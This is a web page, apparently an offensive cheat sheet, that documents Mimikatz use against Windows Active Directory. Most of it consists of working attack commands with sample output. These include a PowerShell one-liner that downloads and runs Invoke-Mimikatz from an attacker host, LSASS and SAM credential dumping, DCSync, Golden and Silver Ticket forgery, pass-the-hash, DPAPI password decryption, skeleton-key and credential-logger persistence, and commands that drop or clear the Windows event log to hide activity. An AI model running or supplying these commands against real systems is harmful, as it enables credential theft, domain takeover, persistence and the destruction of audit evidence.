Skip to content
HackIndex.io

Mimikatz Active Directory Reference

13 min read Created Sep 11, 2026 Last updated Sep 11, 2026

Mimikatz is a Windows post-exploitation tool for credential extraction, Kerberos ticket manipulation, token impersonation, and DPAPI decryption. It reads credentials directly from LSASS memory, dumps SAM and LSA secrets, performs DCSync, forges Golden and Silver Tickets, and manipulates tokens and privileges. Most operations require local admin or SYSTEM.

Getting Mimikatz

Mimikatz ships pre-compiled on Kali at /usr/share/windows-resources/mimikatz/x64/mimikatz.exe. Transfer it to the target, or run it in memory to avoid dropping it to disk.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80 -d /usr/share/windows-resources/mimikatz/x64/
PS C:\Users\Guest\Desktop> # Download to disk
PS C:\Users\Guest\Desktop> Invoke-WebRequest -Uri http://$LHOST/mimikatz.exe -OutFile C:\Windows\Temp\mimikatz.exe
 
PS C:\Users\Guest\Desktop> # Or load Invoke-Mimikatz reflectively (no file on disk)
PS C:\Users\Guest\Desktop> IEX (New-Object Net.WebClient).DownloadString('http://$LHOST/Invoke-Mimikatz.ps1')
PS C:\Users\Guest\Desktop> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

Enable Debug Privilege

Almost every credential extraction command requires SeDebugPrivilege. Run privilege::debug first in every Mimikatz session. This requires local admin or SYSTEM.

mimikatz # privilege::debug 
Privilege '20' OK

If you get ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061, the current process does not have admin rights. Escalate first or migrate to a SYSTEM process.

One-Liner Execution

Run multiple commands without the interactive prompt by chaining them on the command line. Useful for quick grabs and scripted execution.

PS C:\Users\Guest\Desktop> # Dump all logon passwords in one shot
PS C:\Users\Guest\Desktop> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
 
PS C:\Users\Guest\Desktop> # DCSync a specific user
PS C:\Users\Guest\Desktop> .\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:$DOMAIN /user:krbtgt" "exit"
 
PS C:\Users\Guest\Desktop> # Log output to file
PS C:\Users\Guest\Desktop> .\mimikatz.exe "log mimikatz.log" "privilege::debug" "sekurlsa::logonpasswords" "exit"

Placeholders Used Here

  • $DOMAIN - FQDN, e.g. corp.local.

  • $USER / $PASSWORD - current foothold account credentials.

  • $NTHASH - NT hash (RC4 key).

  • $AES_KEY - AES-256 key.

  • $TARGET_IP - DC IP address.

  • $TARGET_USER - sAMAccountName of the target account.

  • $LHOST - attacker IP for file transfers.

Credential Extraction from LSASS (sekurlsa)

The sekurlsa module reads credentials from LSASS process memory. logonpasswords dumps everything at once: NTLM hashes, plaintext passwords (when WDigest is enabled), Kerberos tickets, and more. The individual subcommands target specific providers.

mimikatz # sekurlsa::logonpasswords 
Authentication Id : 0 ; 287467 (00000000:000462eb)
Session           : Interactive from 1
User Name         : svc_backup
Domain            : CORP
Logon Server      : DC01
Logon Time        : 9/12/2026 2:14:28 AM
SID               : S-1-5-21-...-1104
  msv :
   [00000003] Primary
   * Username : svc_backup
   * Domain   : CORP
   * NTLM     : fc525c9683e8fe067095ba2ddc971889
   * SHA1     : a4b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e8f7a6b5
  wdigest :
   * Username : svc_backup
   * Domain   : CORP
   * Password : (null)
  kerberos :
   * Username : svc_backup
   * Domain   : CORP.LOCAL
   * Password : (null)

Dumps all credential providers at once: MSV (NTLM), WDigest, Kerberos, TSPKG, LiveSSP, SSP, CredMan. On older systems (pre-2012 R2, or with UseLogonCredential=1), this returns plaintext passwords.

mimikatz # # NTLM hashes only
mimikatz # sekurlsa::msv
 
mimikatz # # WDigest credentials (plaintext when enabled)
mimikatz # sekurlsa::wdigest
 
mimikatz # # Kerberos credentials and keys
mimikatz # sekurlsa::kerberos
 
mimikatz # # Kerberos encryption keys (RC4, AES128, AES256)
mimikatz # sekurlsa::ekeys
 
mimikatz # # Kerberos tickets from memory
mimikatz # sekurlsa::tickets /export
 
mimikatz # # Credential Manager entries
mimikatz # sekurlsa::credman
 
mimikatz # # DPAPI system keys
mimikatz # sekurlsa::dpapi

Working with LSASS minidumps

When you cannot run Mimikatz on the target directly, dump LSASS with Task Manager, ProcDump, comsvcs.dll, or nanodump, then process the dump offline.

PS C:\Users\Guest\Desktop> # Using comsvcs.dll (no external tools needed)
PS C:\Users\Guest\Desktop> rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full
 
PS C:\Users\Guest\Desktop> # Using ProcDump (Sysinternals)
PS C:\Users\Guest\Desktop> procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords 
Switch to MINIDUMP : 'lsass.dmp'
Opening : 'lsass.dmp' file for minidump...

SAM, Secrets and Cached Credentials (lsadump)

lsadump::sam dumps local account hashes from the SAM database. lsadump::secrets dumps LSA secrets (service account passwords, auto-logon credentials, DPAPI keys). lsadump::cache dumps cached domain logon credentials (DCC2/MSCachev2). All work live (with SYSTEM) or offline against exported registry hives.

mimikatz # # Dump local SAM hashes
mimikatz # lsadump::sam
 
mimikatz # # Dump LSA secrets (service account passwords, DPAPI keys)
mimikatz # lsadump::secrets
 
mimikatz # # Dump cached domain credentials (DCC2)
mimikatz # lsadump::cache 
Domain : CORP
SysKey : 1a2b3c...

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: fc525c9683e8fe067095ba2ddc971889
mimikatz # # Export hives on target first: reg save HKLM\SAM sam.hiv && reg save HKLM\SYSTEM system.hiv && reg save HKLM\SECURITY security.hiv
 
mimikatz # # SAM hashes offline
mimikatz # lsadump::sam /system:system.hiv /sam:sam.hiv
 
mimikatz # # LSA secrets offline
mimikatz # lsadump::secrets /system:system.hiv /security:security.hiv
 
mimikatz # # Cached domain credentials offline
mimikatz # lsadump::cache /system:system.hiv /security:security.hiv

DCSync

lsadump::dcsync impersonates a domain controller and requests credential replication via MS-DRSR. Requires Replicating Directory Changes and Replicating Directory Changes All rights (Domain Admins, Enterprise Admins, or accounts granted DCSync explicitly). Runs over the network, no code execution on the DC needed.

mimikatz # # DCSync the krbtgt account (needed for Golden Ticket)
mimikatz # lsadump::dcsync /domain:$DOMAIN /user:krbtgt
 
mimikatz # # DCSync the Administrator account
mimikatz # lsadump::dcsync /domain:$DOMAIN /user:$DOMAIN\Administrator
 
mimikatz # # DCSync all accounts
mimikatz # lsadump::dcsync /domain:$DOMAIN /all /csv
 
mimikatz # # Target a specific DC
mimikatz # lsadump::dcsync /domain:$DOMAIN /user:krbtgt /dc:dc01.$DOMAIN 
Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )

Credentials:
  Hash NTLM: d3c02561bba6ee4ad6cfd024ec8fda5d
    ntlm- 0: d3c02561bba6ee4ad6cfd024ec8fda5d
    lm  - 0: e52cac67419a9a224a3b108f3fa6cb6d

Supplemental Credentials:
  * Kerberos-Newer-Keys *
    aes256_hmac (4096) : 9c4b8a1d...
    aes128_hmac (4096) : 7a2d1e3f...
    des_cbc_md5 (4096) : 1f2e3d4c...
Explain command
/user Target account to replicate (e.g. krbtgt, DOMAIN\Administrator).
/all Replicate all accounts in the domain.
/csv Output in CSV format for easy parsing.

The krbtgt NTLM hash and AES keys from DCSync are the input for Golden Ticket forgery. See Golden Ticket and Silver Ticket.

Kerberos Ticket Operations

The kerberos module lists, exports, imports, and purges Kerberos tickets in the current session.

mimikatz # # List all Kerberos tickets in the current session
mimikatz # kerberos::list
 
mimikatz # # List and export tickets as .kirbi files
mimikatz # kerberos::list /export
 
mimikatz # # Show the current TGT
mimikatz # kerberos::tgt
 
mimikatz # # Purge all tickets from the current session
mimikatz # kerberos::purge
 
mimikatz # # Pass-the-ticket: import a .kirbi file
mimikatz # kerberos::ptt ticket.kirbi
 
mimikatz # # Import all .kirbi files from a directory
mimikatz # kerberos::ptt C:\tickets\
mimikatz # # Import a ccache ticket (MIT/Heimdall format)
mimikatz # kerberos::ptc ticket.ccache

Golden Ticket

Forge a TGT with the krbtgt hash. Grants access to any service in the domain as any user. Requires the krbtgt NTLM hash or AES key (from DCSync or lsadump::lsa) and the domain SID.

mimikatz # # Golden Ticket with NTLM hash, inject into session
mimikatz # kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /krbtgt:d3c02561bba6ee4ad6cfd024ec8fda5d /user:Administrator /id:500 /ptt
 
mimikatz # # Golden Ticket with AES-256 key (stealthier)
mimikatz # kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /aes256:$AES_KEY /user:Administrator /id:500 /ptt
 
mimikatz # # Save to file instead of injecting
mimikatz # kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /krbtgt:d3c02561bba6ee4ad6cfd024ec8fda5d /user:Administrator /id:500 /ticket:golden.kirbi
 
mimikatz # # Cross-domain: add Enterprise Admins SID from parent domain
mimikatz # kerberos::golden /domain:child.$DOMAIN /sid:S-1-5-21-child... /sids:S-1-5-21-parent...-519 /krbtgt:<CHILD_KRBTGT> /user:Administrator /ptt 
User      : Administrator
Domain    : CORP.LOCAL (CORP)
SID       : S-1-5-21-...
User Id   : 500
Groups Id : *512 520 513 519 518
ServiceKey: d3c02561bba6ee4ad6cfd024ec8fda5d - rc4_hmac_nt
Lifetime  : 9/12/2026 ... ; 9/9/2036 ...
-> Ticket : ** Pass The Ticket **

Golden ticket for 'Administrator @ CORP.LOCAL' successfully submitted for current session
Explain command
/domain Domain FQDN.
/sid Domain SID (S-1-5-21-...).
/krbtgt krbtgt NTLM hash (or use /rc4, /aes256).
/user Username to embed in the ticket.
/id User RID (500 for Administrator).
/groups Group RIDs (512,519,520 for full admin).
/ptt Inject the ticket into the current session.
/ticket Save as .kirbi file instead of injecting.

Silver Ticket

Forge a service ticket for a specific service on a specific host. Requires the service account's NTLM hash or AES key and the domain SID. Does not touch the DC, so no TGT validation occurs.

mimikatz # # Silver Ticket for CIFS (file share access)
mimikatz # kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /target:dc01.$DOMAIN /service:cifs /rc4:<SERVICE_NTHASH> /user:Administrator /ptt
 
mimikatz # # Silver Ticket for LDAP (DCSync without DC admin)
mimikatz # kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /target:dc01.$DOMAIN /service:ldap /rc4:<DC_MACHINE_HASH> /user:Administrator /ptt
 
mimikatz # # Silver Ticket for HTTP (web service access)
mimikatz # kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /target:web01.$DOMAIN /service:http /rc4:<SERVICE_NTHASH> /user:Administrator /ptt
 
mimikatz # # Silver Ticket for HOST + RPCSS (PsExec-style execution)
mimikatz # kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /target:target.$DOMAIN /service:host /rc4:<MACHINE_HASH> /user:Administrator /ptt
mimikatz # kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /target:target.$DOMAIN /service:rpcss /rc4:<MACHINE_HASH> /user:Administrator /ptt
Explain command
/service Target service (cifs, http, mssql, ldap, host, rpcss, wsman).
/target Target host FQDN.
/rc4 Service account NTLM hash (or machine account hash for computer services).

Silver Tickets use kerberos::golden with a /service and /target flag. The same command handles both Golden and Silver Tickets.

Pass-the-Hash

sekurlsa::pth starts a new process with a forged Kerberos identity using an NTLM hash or AES key. The new process authenticates to remote services as the target user without knowing the plaintext password.

mimikatz # # Pass-the-hash with NTLM (spawns cmd.exe as target user)
mimikatz # sekurlsa::pth /user:Administrator /domain:$DOMAIN /ntlm:$NTHASH
 
mimikatz # # Pass-the-hash with AES key
mimikatz # sekurlsa::pth /user:Administrator /domain:$DOMAIN /aes256:$AES_KEY
 
mimikatz # # Spawn a specific program
mimikatz # sekurlsa::pth /user:Administrator /domain:$DOMAIN /ntlm:$NTHASH /run:powershell.exe
 
mimikatz # # Local account pass-the-hash
mimikatz # sekurlsa::pth /user:Administrator /domain:. /ntlm:$NTHASH 
user    : Administrator
domain  : CORP
program : cmd.exe
impers. : no
NTLM    : fc525c9683e8fe067095ba2ddc971889
  |  PID  3204
  |  TID  3208
  |  LSA Process is now R/W
  |  LUID 0 ; 5765432 (00000000:00580938)
  \_ msv1_0   - data copy @ 0000025C4A1E2B30 : OK !
  \_ kerberos - data copy @ 0000025C4A3F1A40
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 0000025C4A3F58C8 (32) -> null
Explain command
/user Target username.
/domain Domain or computer name.
/ntlm NTLM hash (or use /rc4).
/aes256 AES-256 key (stealthier).
/run Program to launch (default: cmd.exe).

The spawned cmd.exe or PowerShell window uses the forged identity. Any network authentication from that process (dir \\dc01\c$, PsExec, etc.) authenticates as the target user.

Token Manipulation

The token module lists and impersonates tokens from other processes and logon sessions. Useful for elevating to SYSTEM or impersonating a domain admin whose token exists on the machine.

mimikatz # # Elevate to SYSTEM token
mimikatz # token::elevate
 
mimikatz # # Elevate to a domain admin token (if one exists on the system)
mimikatz # token::elevate /domainadmin
 
mimikatz # # List all available tokens
mimikatz # token::list
 
mimikatz # # Show current identity
mimikatz # token::whoami
 
mimikatz # # Revert to original token
mimikatz # token::revert 
Token Id  : 0
User name : NT AUTHORITY\SYSTEM
SID name  : NT AUTHORITY\SYSTEM

DPAPI Credential Decryption

The dpapi module decrypts Windows Data Protection API protected data: saved browser passwords, Wi-Fi keys, Credential Manager entries, RDP saved credentials, and more. Requires the user's DPAPI master key (from sekurlsa::dpapi or recovered via /rpc with domain backup key).

mimikatz # # List cached DPAPI master keys from LSASS
mimikatz # sekurlsa::dpapi
 
mimikatz # # Decrypt a DPAPI master key file with the user's password
mimikatz # dpapi::masterkey /in:C:\Users\$TARGET_USER\AppData\Roaming\Microsoft\Protect\S-1-5-21-...\masterkey-guid /password:$PASSWORD
 
mimikatz # # Decrypt a DPAPI master key via RPC to the DC (requires domain admin)
mimikatz # dpapi::masterkey /in:C:\Users\$TARGET_USER\AppData\Roaming\Microsoft\Protect\S-1-5-21-...\masterkey-guid /rpc
 
mimikatz # # Decrypt a Credential Manager blob
mimikatz # dpapi::cred /in:C:\Users\$TARGET_USER\AppData\Local\Microsoft\Credentials\credential-guid /masterkey:abcdef1234...
 
mimikatz # # Decrypt Chrome saved passwords
mimikatz # dpapi::chrome /in:"C:\Users\$TARGET_USER\AppData\Local\Google\Chrome\User Data\Default\Login Data" /masterkey:abcdef1234...

Certificate Operations (crypto)

The crypto module lists and exports certificates and private keys from the Windows certificate store. crypto::capi and crypto::cng patch the CryptoAPI and CNG providers to allow exporting non-exportable private keys.

mimikatz # # List certificates in the local machine personal store
mimikatz # crypto::certificates /systemstore:LOCAL_MACHINE /store:My
 
mimikatz # # Export all certificates with private keys
mimikatz # crypto::certificates /systemstore:LOCAL_MACHINE /store:My /export
 
mimikatz # # List and export CryptoAPI key containers
mimikatz # crypto::keys /export
 
mimikatz # # Patch CryptoAPI to allow export of non-exportable keys
mimikatz # crypto::capi
mimikatz # crypto::certificates /systemstore:LOCAL_MACHINE /store:My /export
 
mimikatz # # Patch CNG provider for non-exportable keys
mimikatz # crypto::cng
mimikatz # crypto::keys /export
Explain command
/systemstore Certificate store location (CURRENT_USER, LOCAL_MACHINE).
/store Store name (My, Root, CA, Trust).
/export Export certificates and keys as PFX/DER files.

Exported certificates and keys are relevant for ADCS abuse (ESC1, ESC4, etc.), PKINIT authentication, and Schannel-based attacks. See ADCS Exploitation.

Skeleton Key

misc::skeleton patches LSASS on a DC to accept a master password (mimikatz) alongside every user's real password. Every account in the domain can then authenticate with either their real password or the skeleton key. Requires SYSTEM on the DC. Survives until the DC is rebooted.

mimikatz # # Inject skeleton key into LSASS (run on DC as SYSTEM)
mimikatz # privilege::debug
mimikatz # misc::skeleton 
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK

After injection, any domain account authenticates with password 'mimikatz' in addition to the real password. Use for persistence. Cleared on DC reboot.

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u Administrator -p mimikatz -d $DOMAIN 
SMB  10.10.10.10  445  DC01  [+] corp.local\Administrator:mimikatz

In-Memory SSP (Credential Logger)

misc::memssp injects a Security Support Provider into LSASS that logs every authentication to C:\Windows\System32\mimilsa.log in plaintext. Useful for capturing credentials of users who log in after you have access.

mimikatz # privilege::debug
mimikatz # misc::memssp 
[+] Injected =)

After injection, credentials appear in C:\Windows\System32\mimilsa.log as users authenticate. Cleared on reboot.

SID History Injection

The sid module patches the NTDS service to allow writing to sIDHistory. Adding a privileged SID (Domain Admins, Enterprise Admins) to a controlled account's SID history grants those privileges transparently.

mimikatz # # Patch NTDS to allow SID history modification (run on DC)
mimikatz # privilege::debug
mimikatz # sid::patch
 
mimikatz # # Add Domain Admins SID to a controlled user's sIDHistory
mimikatz # sid::add /sam:$USER /new:S-1-5-21-...-512
 
mimikatz # # Look up a SID
mimikatz # sid::lookup /name:"Domain Admins"

Terminal Services

ts::multirdp patches the Terminal Server service to allow multiple concurrent RDP sessions. ts::sessions lists active sessions.

mimikatz # # Enable multiple concurrent RDP sessions
mimikatz # privilege::debug
mimikatz # ts::multirdp
 
mimikatz # # List active sessions
mimikatz # ts::sessions

Event Log Manipulation

event::drop patches the Event Log service to silently discard new events. event::clear wipes an existing event log.

mimikatz # # Patch Event Log service to drop new events (until reboot)
mimikatz # privilege::debug
mimikatz # event::drop
 
mimikatz # # Clear the Security event log
mimikatz # event::clear /log:Security

Kerberos Key Derivation

kerberos::hash calculates Kerberos keys (RC4, AES-128, AES-256, DES) from a plaintext password, similar to Rubeus hash.

mimikatz # kerberos::hash /password:$PASSWORD /user:$USER /domain:$DOMAIN 
rc4_hmac_nt    : 2B576ACBE6BCFDA7294D6BD18041B8FE
aes128_hmac    : 7A2D1E3F...
aes256_hmac    : 9C4B8A1D...
des_cbc_md5    : 1F2E3D4C...

Common Workflows

  • Full credential dump: privilege::debug, sekurlsa::logonpasswords for LSASS, lsadump::sam for local hashes, lsadump::secrets for service account passwords.

  • DCSync to Golden Ticket: lsadump::dcsync /user:krbtgt to get the hash, then kerberos::golden /krbtgt:<hash> /ptt for persistent domain access.

  • Pass-the-Hash lateral movement: sekurlsa::pth /user:admin /ntlm:<hash> spawns a process, then dir \\target\c$ or PsExec from that process.

  • Offline dump analysis: dump LSASS with comsvcs.dll or ProcDump on target, exfiltrate the dump, then sekurlsa::minidump lsass.dmp + sekurlsa::logonpasswords offline.

  • Certificate theft for PKINIT: crypto::capi to patch export restrictions, crypto::certificates /export to grab PFX files, then use with Rubeus asktgt /certificate: or certipy.

  • Persistence on DC: misc::skeleton for skeleton key (master password), or misc::memssp to log future authentications, or Golden Ticket for offline access.

References